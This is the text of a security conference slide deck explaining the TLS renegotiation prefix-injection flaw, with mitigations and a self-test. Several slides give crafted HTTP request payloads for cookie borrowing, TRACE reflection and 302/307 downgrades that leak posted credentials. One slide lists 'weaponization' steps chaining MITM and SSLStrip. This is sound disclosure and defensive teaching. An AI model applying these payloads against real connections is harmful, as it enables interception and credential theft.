1. TLS Renegotiation: Explanation & Exploitation Mikhail Davidov Leviathan Security Group

2. Flavors of Renegotiation Client-Initiated – Initially meant for reseeding of cryptographic systems in case of entropy loss. – Rare, but used. (TOR) – Was enabled by default in most implementations. Except IIS which didn’t implement part of the specification. Server-Initiated – Supported by both IIS & Apache – Used for sites with client certificate authentication.

3. Attacks against Client-Initiated Renegotiation

4. Basic TLS Handshake CLIENT SERVER

5. Renegotiation Initial Handshake  Something Happens Renegotiation

6. The Attack MITM EVIL cryptotext 1)MITM Intercept initial ClientHello & holds it. 2)MITM Connects normally to the target & transmits evil bits. 3)MITM Replays the initial ClientHello from victim. 4)Client just senses a little bit of lag and continues to connect to the server. 5)Client sends its nice bits. 6)Server assembles message and sees evil bits followed by nice bits as though they came from the Client.

7. Why HTTP is Perfect GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n

8. Why HTTP is Perfect X-CommentOut: GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n

9. Why HTTP is Perfect GET /Evil.html HTTP/1.1 X-CommentOut: GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n

10. Attacks! Red = Evil Bits Black = Nice bits Green = Response

11. Not RESTful? Cookie borrowing! GET /twoot?msg=omglol HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.twooter.com Cookie: leetsession=12387131731837183121 HTTP/1.1 200 OK …..

12. TRACE enabled? Code Execution! TRACE / HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.yourbank.com HTTP/1.1 200 OK Connection: close Content-Length: xxxx TRACE / HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.yourbank.com

13. Found 302 to HTTP? Downgrade Channel! GET /Some302Resource HTTP/1.1 X‐Ignore: GET / HTTP/1.1 Host: yourbank.com 302 OK HTTP/1.1 Location: http://www.somewhereelse.com/ (Perform traditional MITM attack / SSLStrip)

14. Found 302 to HTTP on a VHost? Downgrade Channel… Again! GET /Some302Resource HTTP/1.1 Host: www.virtualhost2.com X‐Ignore: GET /clientsoriginalrequest HTTP/1.1 Host: yourbank.com 302 OK HTTP/1.1 Location: http://www.somewhereelse.com/ (Perform traditional MITM attack / SSLStrip)

15. Found 307 to HTTP? Steal POSTed Data! POST /Some307Resource HTTP/1.1 X‐Ignore: POST /ProcessLogin HTTP/1.1 Host: Bank.com Content‐Length: 100 username=joebanker&password=secretpassw0rd 307 OK HTTP/1.1 Location: http://www.bobsblog.com/PostComment POST /PostComment HTTP/1.1 Host: bobsblog.com Content‐Length: 100 username=joebanker&password=secretpassw0rd \r\n\r\n  HEY! HTTP Cleartext on new socket!

16. Weaponization 1. Get MITM 2. Hold on to the ClientHello 3. Spider hosts for 302s -> HTTP and repeat for VHosts ( bing.com/search?q=ip:xxx.xxx.xxx.xxx to get domains) 4. Perform 302 attack to downgrade to HTTP. 5. Perform SSL Strip on original domain – This bug removes the sslstrip limitation of user initially going to http://bank.com instead of httpS://bank.comhttp://bank.comhttpS://bank.com

17. Attacks against Server-Initiated Renegotiation

18. Ideal Secure Scenario  Server asks for certificate immediately! C S  Client provides certificate during negotiation. Everything is OK & not vulnerable!

19. The Problem: The Real World Most web servers are multi-homed: – /index.html  anyone can access. – /secure/index.html  requires client-cert. Or mis-configured to not ask for a client certificate immediately. (Default on IIS)

20. Typical Scenario

21. Normal negotiation as seen before.  Client request a “secure” resource.  Server initiates renegotiation.  Server asks for the client certificate.  Client provides its certificate.  Server processes the request & responds.

22. The Attack

23.  MITM Intercept initial ClientHello & performs its own negotiation with the server.  MITM transmits evil bits.  Server holds on to evil request & initiates renegotiation. MITM Replays the initial ClientHello from victim.  Server asks for the client cert.  Client happily provides the cert.  Server processes the queued request.

24. Mitigations Upgrade! Its fixed! (rfc5746) – http://tinyurl.com/sslpatchedlist http://tinyurl.com/sslpatchedlist – OpenSSL 0.9.8m+ – MS10-049 Disable client-initiated renegotiation altogether. You don’t need it. (Really) If using client-certs make sure the root is protected & server asks for the certificate immediately.

25. Test it yourself! (client-initiated renegotiation) Windows tool & whitepaper at: – http://leviathansecurity.com/research/ http://leviathansecurity.com/research/ If you have openssl prior to 0.9.8m: – openssl s_client –host www.yoursite.com –port 443 – Type capitol “R” and hit return. If you see it successfully renegotiate the server does allow insecure renegotiation. Check to make sure you are patched and disable insecure renegotiation if you can.

26. Questions? @sirus on Twitter mikhail.davidov@leviathansecurity.com http://www.phonefactor.com/sslgap http://tinyurl.com/sslpatchedlist http://leviathansecurity.com/research/ Thanks to Steve Dispensa, Marsh Ray, & Nasko Oskov Image credits: http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf